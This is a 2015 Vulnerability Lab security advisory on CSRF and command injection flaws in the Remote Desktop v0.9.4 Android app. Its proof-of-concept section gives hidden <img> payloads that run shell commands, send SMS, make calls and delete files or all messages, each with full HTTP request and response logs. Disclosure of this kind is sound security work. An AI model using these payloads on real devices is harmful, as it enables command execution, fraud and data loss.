Document Title: =============== Remote Desktop v0.9.4 Android - Multiple Vulnerabilities
References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1413 Release Date: ============= 2015-01-20 Vulnerability Laboratory ID (VL-ID): ==================================== 1413 Common Vulnerability Scoring System: ==================================== 4.4 Product & Service Introduction: =============================== Remote Desktop brings order to your Droid. View and retrieve all the contents of your phone such as documents, photos, videos. All you need is a standard web browser (! the latest Chrome or Firefox !) and Remote Desktop will allow you interact with your phone as easily as a PC. (Copy of the Homepage: http://remote-desktop.android.informer.com/0.9.4/ & https://play.google.com/store/apps/details?id=pl.androiddev.mobiletab ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered multiple web vulnerabilities in the Remote Desktop v0.9.4 Android mobile web-application. Vulnerability Disclosure Timeline: ================================== 2015-01-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Damian Kolakowski Product: Remote Desktop - Android Mobile Web Application 0.9.4 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple vulnerabilities has been discovered in the Remote Desktop v0.9.4 Android mobile web-application. The mobile web-application is vulnerable to a combination of cross site request forgery and local command injection attacks. 1.1 The local command injection vulnerability is located in `cmd` value of the `/api/sms` file. The remote attackers performs a client-side request and manipulates the `cmd` value to compromise the web-app by a local command injection. The security risk of the local command/path inject vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 5.5. Exploitation of the command/path inject vulnerability requires no privileged android device user account or user interaction. Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and unauthorized path value requests to compromise the mobile android application and the connected device. Request Method(s): [+] [GET] Vulnerable Module(s): [+] /api/sms Vulnerable Parameter(s): [+] cmd=%3Cform%20action=api/[x]?cmd= 1.2 The cross site request forgery vulnerabilities are located in the `shell`,`sms`,`calllogs` and `files` sections of the android app. Remote attackers are able prepare special crafted URLs that executes client-side requests to execute application functions (delete,add, call, send). The requst method to execute a function in a client-side request is GET. The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.4. Exploitation of the client-side web vulnerability requires no privileged web-application user account but medium or high user interaction. Successful exploitation of the vulnerabilities result in non-persistent phishing mails, session hijacking, non-persistent external redirect to malicious sources and client-side manipulation of affected or connected module context. Request Method(s): [+] [GET] Vulnerable Parameter(s): [+] shell [+] sms [+] calllogs Proof of Concept (PoC): ======================= The vulnerabilities can be exploited by remote attackers without privileged application user account and with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. [REMOTE SHELL CODE EXECUTE VULNERABILI! CSRF ] <img src="http://localhost:8080/api/shell?cmd=execute&command=id&token=111111111111"; width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /api/shell?cmd=execute&command=id&token=111111111111 HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK","working-directory":"\/","stderr":"","stdout":"uid=10257(u0_a257) gid=10257(u0_a257) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet)\n"} Send SMS <img src="http://localhost:8080/api/sms?cmd=send&token=111111111111&to=333&message=HELLO " width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /api/sms?cmd=send&token=111111111111&to=333&message=HELLO HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.3:8080/index.html?nocache=1421469722760 Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK","results":[{"id":1590,"address":"333"}], "thread":{"id":51,"read":false,"snippet":"HELLO","recipients_snippet":"333", "message_count":70,"date":1421476972278,"recipients":[{"id":51,"address":"333"}]}} Call Phone <img src="http://localhost:8080/api/calllogs?cmd=make_call&number=0674086422"; width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /api/calllogs?cmd=make_call&number=0674086422 HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.3:8080/index.html?nocache=1421465315931 Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK"} Delete File <img src="http://localhost:8080/api/files?cmd=delete&sep=/&path=/file"; width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /api/files?cmd=delete&sep=/&path=%2Fstorage%2Femmc%2FRWDFv5.9.5.apk HTTP/1.1 Host: 192.168.1.6:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://localhost:8080/index.html?nocache=1421449820153 Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK"} Call Phone <img src="http://localhost:8080/api/calllogs?cmd=make_call&number=0674086422"; width="0" height="0" border="0"> --- PoC Session Logs [GET] (Execution) --- GET /api/calllogs?cmd=make_call&number=11111111111 HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://localhost:8080/index.html?nocache=1421465315931 Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK"} Delete all SMS <img src="http://localhost:8080/api/sms?cmd=delete_all"; width="0" height="0" border="0"> GET /api/sms?cmd=delete_all HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.3:8080/index.html?nocache=1421465315931 Connection: keep-alive - Response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"OK"} LOCAL COMMAND INJECTION VULNERABILITY shell?, sms?, calllogs?files? --- PoC Session Logs [GET] (Execution) --- GET /api/sms?cmd=%3Cform%20action=api/sms?cmd=[LOCAL COMMAND INJECTION VULNERABILITY!] HTTP/1.1 Host: 192.168.1.3:8080 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive - Response {"response":"OK"} HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 {"response":"Unknown command: [LOCAL COMMAND INJECTION VULNERABILITY!]"} Reference: http://localhost:8080/ Security Risk: ============== The security risk of the cross site request forgery issue and command injection vulnerability is estimated as medium. (CVSS 4.4) Credits & Authors: ================== Hadji Samir s...@hotmail.fr Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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